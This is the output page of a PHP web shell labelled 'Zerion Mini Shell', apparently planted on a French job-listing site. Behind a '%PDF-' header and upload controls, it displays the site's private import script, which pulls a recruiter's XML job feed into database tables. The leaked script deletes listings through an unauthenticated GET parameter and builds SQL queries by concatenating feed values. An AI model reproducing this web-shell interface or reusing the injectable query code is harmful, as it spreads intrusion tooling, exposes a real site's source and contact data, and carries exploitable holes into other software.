%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/devcapijob/public_html/clients/
Upload File :
Create Path :
Current File : /home/devcapijob/public_html/clients/SYSTEME_U2.php

<?php
define('PATH_BASE',dirname(__DIR__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( PATH_BASE .DS.'clients'.DS.'db.php' );

error_reporting(E_ALL);
ini_set('display_errors',0);
if($_GET['action']=="delete"){

$select_annonce ="select id_annonce from cap_annonce WHERE id_annonceur = 515704";

$execute_select_annonce = $conn->query($select_annonce);

$array =array();
$nb_del=0;
while ($del = $execute_select_annonce->fetch()){
 $nb_del +=1;
  array_push($array, $del['id_annonce']);

 
  $i++;

}
echo $nb_del;
//echo 'qsqs';exit;
$ids = implode(',', $array);

  $cap_annonce_content = "DELETE FROM cap_annonce_content WHERE id_annonce in (".$ids.")";
$conn->query($cap_annonce_content);
  
 $delete_annonce_departement = "DELETE FROM cap_annonce_departement WHERE id_annonce in (".$ids.")";
 $conn->query($delete_annonce_departement);

  $delete_annonce_domaine = "DELETE FROM cap_annonce_domaine WHERE id_annonce in (".$ids.")";
$conn->query($delete_annonce_domaine);

  $delete_annonce_email_sup = "DELETE FROM cap_annonce_email_sup WHERE id_annonce in (".$ids.")";
 $conn->query($delete_annonce_email_sup);
  
$conn->query("DELETE FROM  cap_annonce_site WHERE id_annonce in (".$ids.")");

 $delete_annonce = "DELETE FROM cap_annonce WHERE id_annonce in (".$ids.")";
$conn->query($delete_annonce);
echo 'ok--';



exit;
}

$sql_terminer = "UPDATE cap_annonce SET etat=2 WHERE etat=1 and id_annonceur=515704";
$sql_ex    = $conn->query($sql_terminer);

if($sql_ex){
    echo 'ok--';
}

$select_annonceur =$conn->query("select email,raison_social  from cap_annonceur WHERE id_annonceur = 515704");
$data = $select_annonceur->fetch();
$email  = $data['email'];
$raison_social  = $data['raison_social'];
/*****/
$last_id_table = "select max(id_annonce) from cap_annonce";
$requete_last_id    = $conn->query($last_id_table);
$last_id=$requete_last_id->fetch();
$J=1;
$counter = 0;
$reqs =array();
$sites= array();
$sql_depart = array();
$sql_domaine = array();
$email_sup = array();

$xml = XMLReader::open('https://systemeu-recrute.talent-soft.com/handlers/OfferXML.ashx?top=9999');

while ($xml->name !== 'offer') {
  $xml->read();
}
do {
    $id_last = $last_id['max(id_annonce)'] + $J;
 /*********xml*********/
    $job   = simplexml_load_string($xml->readOuterXml());

    $jobid = (string) $job->id;
    $title = (string) substr($job->jobDescription->title, 0, 150);
    $city = (string) $job->entityAdress->city;
    $Email = (string) $job->mainSupervisor->Email;
    $location = (string) $job->entityAdress->adress;
    $description = (string) $job->jobDescription->missionDescriptionFormatted;
    $missionDescription = (string) $job->jobDescription->missionDescription;
    $applicantProfile = (string) $job->jobDescription->applicantProfile;
    $applicantProfileFormatted = (string) $job->jobDescription->applicantProfileFormatted;   
    $zip = (string) $job->entityAdress->postalcode;
    $url = (string) $job->directUrl;
    $departement = (string) $job->location->departement;
  //  echo($counter."\n");
     /*echo($id_last."\n");
    echo($jobid."\n");*/
  echo($title."\n");
  // echo(substr(trim($zip),0, 2)."\n");
   /* echo($city."\n");
    echo($Email."\n");
    echo($description."\n");
    echo($missionDescription."\n");
    echo($missionDescriptionFormatted."\n");
    echo($applicantProfile."\n");
    echo($applicantProfileFormatted."\n");               
    echo($url."\n");     exit;   */        
    /*echo($logo."\n");*/
    /**domaine**/
    $value_domaine['id_domaine'] ='1682';
   /************Region*************/ 

   $departements=array();
 $depart ='select * from cap_depart where code ="'.substr(trim($zip),0, 2).'"';
  $depart_data    = $conn->query($depart);
    while ($departs = $depart_data->fetch()) {
          array_push($departements, $departs['id_departement']);
    };
$departs = implode(',', $departements);
   
    /********content*******/
$content ="";
$content .= addslashes($description);
$content .="<br/><br/>";
$content .=addslashes($missionDescription);
$content .="<br/><br/>";
$content .=addslashes($applicantProfile);
$content .="<br/><br/>";
$content .=addslashes($applicantProfileFormatted);
   // echo $departs.'dqs';exit; 
   /*****************/
  //   echo "qdqsd".$J."\n";

 $date_parution = date('Y-m-d');
 $nb =  28 * 12;
 $DateFin = '2022-07-07';
   /*$reqs[]='("'.$id_last.'", "'.addslashes(utf8_decode(word_texte($title))).'",  "'.addslashes(utf8_decode(word_texte($title))).'", "'.addslashes(utf8_decode(word_texte($title))).'","'.$id_last."-".genere_alias($raison_social."-".trim($title)).'","1", "'.$value_domaine['id_domaine'].'","","'.$departs.'", "'.utf8_decode(addslashes($content)).'","7","13","","","nc","","'.date('Y-m-d').'","'.$DateFin.'","'.$DateFin.'","515704","'.addslashes($city).'", "'.$zip.'","75","","","'.addslashes($location).'","","12","12","7","0","21","1","1","0","'.date('Y-m-d').'","'.date('Y-m-d H:i:s').'","1","0","'.$url.'","0","0","0")';*/

   $reqs[]='("'.$id_last.'", "1", "'.$value_domaine['id_domaine'].'","","'.$departs.'", "7","13","","nc","'.date('Y-m-d').'","'.$DateFin.'","'.$DateFin.'","515704","75","12","12","7","0","21","1","1","0","'.date('Y-m-d').'","'.date('Y-m-d H:i:s').'","1","0","0","0","0")';
//"INSERT INTO `cap_annonce_content`(`id_annonce`, `poste`, `titre`, `h1_page`, `alias`,`texte`, `salaire`,  `ville`, `code_postal`, `adresse`, `autre_mail`,`url_candidature`)
$reqs_content[]='("'.$id_last.'", "'.addslashes(utf8_decode(word_texte($title))).'", "'.addslashes(utf8_decode(word_texte($title))).'", "'.addslashes(utf8_decode(word_texte($title))).'","'.$id_last."-".genere_alias($raison_social."-".trim($title)).'","'.addslashes(htmlspecialchars_decode(htmlentities(preg_replace('#\xF0[\x90-\xBF][\x80-\xBF]{2}#','',word_texte($content)),ENT_QUOTES, 'UTF-8'))).'","","'.addslashes($city).'","'.$zip.'", "'.addslashes($location).'","","'.$url.'")';


    $sites[]= "('1','".$id_last."')";
      $sites[]= "('3','".$id_last."')";
    if(sizeof($departements)>0){
            for ($j=0; $j <sizeof($departements) ; $j++) { 
     $sql_depart[] = "(".$id_last.",".$departements[$j].")";
                }
       
      }
    if($value_domaine['id_domaine']!=""){
         $sql_domaine[] = "(".$id_last.", ".$value_domaine['id_domaine'].")";
    }
    $email_sup[] ="('".$id_last."', 'cv1@capijob.com')";
    $total +=1;
    
    //$query = "";

    

     
     
    
    //var_dump($site);

   
  //  $conn = null;
  $J++;   
   /*if($total==10){
     exit;
   }*/
 
               
} while (
  
  $xml->next('offer')

);

echo $total;
$conn->beginTransaction();
try {
///$conn = DB::connect();


 
    // code...
 $query = 'INSERT INTO `cap_annonce`(`id_annonce`,`type`, `domaine`, `region`, `depart`, `duree_travail`, `niveau_etude`, `type_contrat`, `permis`,`date_parution`, `fin_parution`, `date_max_parution`, `id_annonceur`, `id_pays`, `parution`, `parution_utilise`, `nb_rafraich`, `nb_rafraich_historique`, `par_jour`,`nb_rubrique`,`etat`, `active`, `date_creation`, `date_misejour`,`id_langue`,`select_accueil`, `flux`, `nb_vue`, `click_btn`) VALUES ' . implode(',', $reqs);
 
    $conn->exec($query);
//exit;


//var_dump($test);exit;

  $contents = "INSERT INTO `cap_annonce_content`(`id_annonce`, `poste`, `titre`, `h1_page`, `alias`,`texte`, `salaire`,  `ville`, `code_postal`, `adresse`, `autre_mail`,`url_candidature`) VALUES " . implode(',', $reqs_content);
   $conn->exec($contents);
     $site = "INSERT INTO `cap_annonce_site`(`site_web`, `id_annonce`) VALUES " . implode(',', $sites);
     $conn->exec($site);
     $depas = "INSERT INTO `cap_annonce_departement`(`id_annonce`, `id_departement`) VALUES " . implode(',', $sql_depart);
     $conn->exec($depas);
     $dom  ="INSERT INTO `cap_annonce_domaine`(`id_annonce`, `id_domaine`) VALUES " . implode(',', $sql_domaine);
     $conn->exec($dom);
     $sup = "INSERT INTO `cap_annonce_email_sup`(`id_annonce`, `email_sup`) VALUES " . implode(',', $email_sup);
     $conn->exec($sup);
 $conn->commit();
echo 'ok';


 }catch(PDOException $err) {
    // roll the transaction back if something fails
    $conn->rollback();
    echo "Error message: " . $err->getMessage();
  }
  $con = null; 

Zerion Mini Shell 1.0